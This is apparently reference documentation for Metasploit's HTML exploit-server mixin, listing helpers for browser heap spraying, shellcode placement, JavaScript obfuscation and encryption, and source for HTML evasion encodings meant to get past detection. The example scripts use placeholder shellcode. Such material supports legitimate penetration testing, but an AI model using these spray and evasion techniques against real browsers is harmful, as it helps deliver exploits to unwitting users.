Module: Msf::Exploit::Remote::HttpServer::HTML
- Includes:
- Msf::Exploit::Remote::HttpServer
- Included in:
- BrowserExploitServer
- Defined in:
- lib/msf/core/exploit/remote/http_server/html.rb
Overview
This module provides methods for exploiting an HTTP client by acting as an HTTP server.
Constant Summary collapse
- UTF_NONE =
'none'
- UTF_7 =
'utf-7'
- UTF_7_ALL =
'utf-7-all'
- UTF_8 =
'utf-8'
- UTF_16_LE =
'utf-16le'
- UTF_16_BE =
'utf-16be'
- UTF_16_BE_MARKER =
'utf-16be-marker'
- UTF_32_LE =
'utf-32le'
- UTF_32_BE =
'utf-32be'
Instance Attribute Summary
Attributes included from SocketServer
Instance Method Summary collapse
-
#encrypt_js(javascript, key) ⇒ Object
protected
Encrypts a given javascript string using the provided key.
-
#heaplib(custom_js = '', opts = {}) ⇒ Object
protected
Returns the heaplib javascript, including any custom javascript supplied by the caller.
- #initialize(info = {}) ⇒ Object protected
-
#js_ajax_download ⇒ Object
protected
Downloads data using ajax.
-
#js_ajax_post ⇒ Object
protected
Transfers data using a POST request.
- #js_base64 ⇒ Object protected
- #js_explib2 ⇒ Object protected
- #js_explib2_payload(payload = "exec") ⇒ Object protected
- #js_heap_spray ⇒ Object protected
-
#js_heaplib2(custom_js = '', opts = {}) ⇒ Object
protected
Returns the heaplib2 javascript.
- #js_ie_addons_detect ⇒ Object protected
- #js_misc_addons_detect ⇒ Object protected
-
#js_mstime_malloc ⇒ Object
protected
This function takes advantage of MSTIME’s CTIMEAnimationBase::put_values function that’s suitable for a no-spray technique.
- #js_os_detect ⇒ Object protected
-
#js_property_spray ⇒ Object
protected
This heap spray technique takes advantage of MSHTML’s SetStringProperty (or SetProperty) function to trigger allocations by ntdll!RtlAllocateHeap.
-
#obfuscate_js(javascript, opts) ⇒ Object
protected
Obfuscates symbols found within a javascript string.
-
#send_response_html(cli, body, headers = {}) ⇒ Object
protected
Transmits a html response to the supplied client.
Methods included from Msf::Exploit::Remote::HttpServer
#add_resource, #add_robots_resource, #autofilter, #check_dependencies, #cleanup, #cli, #cli=, #close_client, #create_response, #fingerprint_user_agent, #get_resource, #get_uri, #hardcoded_uripath, #on_request_uri, #print_prefix, #random_uri, #regenerate_payload, #remove_resource, #report_user_agent, #resource_uri, #send_local_redirect, #send_not_found, #send_redirect, #send_response, #send_robots, #srvhost_addr, #srvport, #start_service, #use_zlib
Methods included from Auxiliary::Report
#active_db?, #create_cracked_credential, #create_credential, #create_credential_and_login, #create_credential_login, #db, #db_warning_given?, #get_client, #get_host, #inside_workspace_boundary?, #invalidate_login, #mytask, #myworkspace, #myworkspace_id, #report_auth_info, #report_client, #report_exploit, #report_host, #report_loot, #report_note, #report_service, #report_vuln, #report_web_form, #report_web_page, #report_web_site, #report_web_vuln, #store_cred, #store_local, #store_loot
Methods included from Metasploit::Framework::Require
optionally, optionally_active_record_railtie, optionally_include_metasploit_credential_creation, #optionally_include_metasploit_credential_creation, optionally_require_metasploit_db_gem_engines
Methods included from TcpServer
#on_client_close, #on_client_connect, #ssl, #ssl_cert, #ssl_cipher, #ssl_compression, #ssl_version, #start_service
Methods included from SocketServer
#_determine_server_comm, #bindhost, #bindport, #cleanup, #cleanup_service, #exploit, #on_client_data, #primer, #regenerate_payload, #srvhost, #srvport, #start_service, #via_string
Instance Method Details
#encrypt_js(javascript, key) ⇒ Object (protected)
Encrypts a given javascript string using the provided key.
Returns a string containing the encrypted string and a loader
57 58 59 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 57 def encrypt_js(javascript, key) Rex::Exploitation::EncryptJS.encrypt(javascript, key) end |
#heaplib(custom_js = '', opts = {}) ⇒ Object (protected)
Returns the heaplib javascript, including any custom javascript supplied by the caller.
65 66 67 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 65 def heaplib(custom_js = '', opts = {}) Rex::Exploitation::HeapLib.new(custom_js, opts).to_s end |
#initialize(info = {}) ⇒ Object (protected)
26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 26 def initialize(info = {}) super ( [ # utf-8, utf-7 and utf-7-all are currently not supported by # most browsers. as such, they are not added by default. The # mixin supports encoding using them, however they are not # listed in the Option. OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', UTF_NONE, [UTF_NONE, UTF_16_LE, UTF_16_BE, UTF_16_BE_MARKER, UTF_32_LE, UTF_32_BE]]), OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embedded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), ], Exploit::Remote::HttpServer::HTML) end |
#js_ajax_download ⇒ Object (protected)
Downloads data using ajax
Supported arguments: method => Optional. HTTP Verb (eg. GET/POST) path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
must use a relative path, otherwise you will be blocked by the browser.
data => Optional. Data to pass to the server
Example of using the ajax_download() function: For IE, your web server has to return this header to download binary data: “text/plain; charset=x-user-defined”
<script>
#{js_ajax_download}
ajax_download({path:"/test.bin"});
</script>
99 100 101 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 99 def js_ajax_download @cache_ajax_download ||= Rex::Exploitation::Js::Network.ajax_download end |
#js_ajax_post ⇒ Object (protected)
Transfers data using a POST request
107 108 109 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 107 def js_ajax_post @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post end |
#js_base64 ⇒ Object (protected)
76 77 78 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 76 def js_base64 @cache_base64 ||= Rex::Exploitation::Js::Utils.base64 end |
#js_explib2 ⇒ Object (protected)
176 177 178 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 176 def js_explib2 @explib2 ||= ::Rex::Exploitation::Js::Memory.explib2 end |
#js_explib2_payload(payload = "exec") ⇒ Object (protected)
180 181 182 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 180 def js_explib2_payload(payload="exec") @explib2_payload ||= ::Rex::Exploitation::Js::Memory.explib2_payload(payload) end |
#js_heap_spray ⇒ Object (protected)
172 173 174 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 172 def js_heap_spray @cache_heap_spray ||= Rex::Exploitation::Js::Memory.heap_spray end |
#js_heaplib2(custom_js = '', opts = {}) ⇒ Object (protected)
Returns the heaplib2 javascript
72 73 74 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 72 def js_heaplib2(custom_js = '', opts = {}) @cache_heaplib2 ||= Rex::Exploitation::Js::Memory.heaplib2(custom_js, opts={}) end |
#js_ie_addons_detect ⇒ Object (protected)
188 189 190 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 188 def js_ie_addons_detect @cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons end |
#js_misc_addons_detect ⇒ Object (protected)
192 193 194 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 192 def js_misc_addons_detect @cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons end |
#js_mstime_malloc ⇒ Object (protected)
This function takes advantage of MSTIME’s CTIMEAnimationBase::put_values function that’s suitable for a no-spray technique. There should be an allocation that contains an array of pointers to strings that we control, and each string should reside in its own buffer. Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on Internet Explorer 8 or prior. Note that “mstime_malloc” also requires a rather specific writing style, so make sure you have the following before using:
* You must have the following at the beginning of your HTML file:
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
* You must have the following in <meta>:
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
The “mstime_malloc” JavaScript function supports the following arguments:
shellcode => The shellcode to place.
offset => Optional. The pointer index that points to the shellcode.
heapBlockSize => Object size.
objId => The ID to your ANIMATECOLOR element.
Example of using “js_mstime_malloc”:
<script>
#{js_mstime_malloc}
shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
offset = 3;
s = 0x58;
mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
</script>
142 143 144 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 142 def js_mstime_malloc @cache_mstime_malloc ||= Rex::Exploitation::Js::Memory.mstime_malloc end |
#js_os_detect ⇒ Object (protected)
184 185 186 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 184 def js_os_detect @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os end |
#js_property_spray ⇒ Object (protected)
This heap spray technique takes advantage of MSHTML’s SetStringProperty (or SetProperty) function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan’s publication on “DEPS – Precise Heap Spray on Firefox and IE10”. In IE, the shellcode should land at address 0x0c0d2020, as this is the most consistent location across various versions.
The “sprayHeap” JavaScript function supports the following arguments:
shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes.
objId => Optional. The ID for a <div> HTML tag.
offset => Optional. Number of bytes to align the shellcode, default: 0x00
heapBlockSize => Optional. Allocation size, default: 0x80000
maxAllocs => Optional. Number of allocation calls, default: 0x350
Example of using the ‘sprayHeap’ function:
<script>
#{js_property_spray}
var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
sprayHeap({shellcode:s, heapBlockSize:0x80000});
</script>
168 169 170 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 168 def js_property_spray @cache_property_spray ||= Rex::Exploitation::Js::Memory.property_spray end |
#obfuscate_js(javascript, opts) ⇒ Object (protected)
Obfuscates symbols found within a javascript string.
Returns an ObfuscateJS object
46 47 48 49 50 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 46 def obfuscate_js(javascript, opts) js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) js.obfuscate return js end |
#send_response_html(cli, body, headers = {}) ⇒ Object (protected)
Transmits a html response to the supplied client
HTML evasions are implemented here.
199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 |
# File 'lib/msf/core/exploit/remote/http_server/html.rb', line 199 def send_response_html(cli, body, headers = {}) body = body.to_s.unpack("C*").pack("C*") if datastore['HTML::base64'] != 'none' case datastore['HTML::base64'] when 'plain' body = Rex::Text.encode_base64(body) when 'single_pad' body = Rex::Text.encode_base64(' ' + body) when 'double_pad' body = Rex::Text.encode_base64(' ' + body) when 'random_space_injection' body = Rex::Text.encode_base64(body) new = '' while (body.size > 0) new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n") end body = new end body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' + 'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' + body + '">Could not render object</OBJECT></BODY></HTML>' end if datastore['HTML::javascript::escape'] > 0 datastore['HTML::javascript::escape'].times { body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>' } end if [UTF_16_LE, UTF_16_BE, UTF_32_LE, UTF_32_BE, UTF_7, UTF_8].include?(datastore['HTML::unicode']) headers['Content-Type'] = 'text/html; charset= ' + datastore['HTML::unicode'] body = Rex::Text.to_unicode(body, datastore['HTML::unicode']) else # special cases case datastore['HTML::unicode'] when UTF_16_BE_MARKER headers['Content-Type'] = 'text/html' body = "\xFE\xFF" + Rex::Text.to_unicode(body, UTF_16_BE) when UTF_7_ALL headers['Content-Type'] = "text/html; charset=#{UTF_7}" body = Rex::Text.to_unicode(body, UTF_7, 'all') when UTF_NONE # do nothing else raise RuntimeError, 'Invalid unicode. how did you get here?' end end send_response(cli, body, headers) end |